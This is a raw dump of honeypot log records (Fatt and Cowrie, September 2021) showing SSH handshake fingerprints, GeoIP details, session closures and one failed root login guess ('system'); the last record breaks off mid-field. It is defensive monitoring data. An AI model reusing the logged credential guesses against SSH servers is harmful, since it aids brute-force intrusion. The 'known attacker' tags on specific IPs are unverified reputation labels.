21112	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:35.468926+03	2021-09-20 14:15:03.241613+03	{"_id": "SgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40772, "timestamp": "2021-09-20T11:06:35.468926", "@timestamp": "2021-09-20T11:06:35.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21113	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:35.613217+03	2021-09-20 14:15:03.242613+03	{"_id": "SwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39060, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.613217", "@timestamp": "2021-09-20T11:06:35.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21114	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:35.640402+03	2021-09-20 14:15:03.243612+03	{"_id": "TAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59608, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.640402", "@timestamp": "2021-09-20T11:06:35.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21115	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:35.746419+03	2021-09-20 14:15:03.244612+03	{"_id": "TQbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40772, "dest_port": 22, "timestamp": "2021-09-20T11:06:35.746419", "@timestamp": "2021-09-20T11:06:35.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21116	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:35.140337+03	2021-09-20 14:15:03.246613+03	{"_id": "TgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6c88bc7de748", "@version": "1", "timestamp": "2021-09-20T11:06:35.140337Z", "@timestamp": "2021-09-20T11:06:35.140Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21117	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:35.154569+03	2021-09-20 14:15:03.247613+03	{"_id": "TwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0a4b00568a57", "@version": "1", "duration": 2.7388932704925537, "timestamp": "2021-09-20T11:06:35.154569Z", "@timestamp": "2021-09-20T11:06:35.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21118	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:35.199967+03	2021-09-20 14:15:03.248613+03	{"_id": "UAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "80fa559a3d79", "@version": "1", "duration": 3.4610722064971924, "timestamp": "2021-09-20T11:06:35.199967Z", "@timestamp": "2021-09-20T11:06:35.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21120	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:35.295079+03	2021-09-20 14:15:03.250613+03	{"_id": "UgbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "21a203a507ae", "@version": "1", "duration": 2.466660976409912, "timestamp": "2021-09-20T11:06:35.295079Z", "@timestamp": "2021-09-20T11:06:35.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21121	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:35.308413+03	2021-09-20 14:15:03.252613+03	{"_id": "UwbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/system] failed", "session": "965c39e184d7", "@version": "1", "password": "system", "username": "root", "timestamp": "2021-09-20T11:06:35.308413Z", "@timestamp": "2021-09-20T11:06:35.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21122	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:35.310133+03	2021-09-20 14:15:03.253613+03	{"_id": "VAbiAnwBvYTbRNuE4wBV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "223.241.247.214", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": 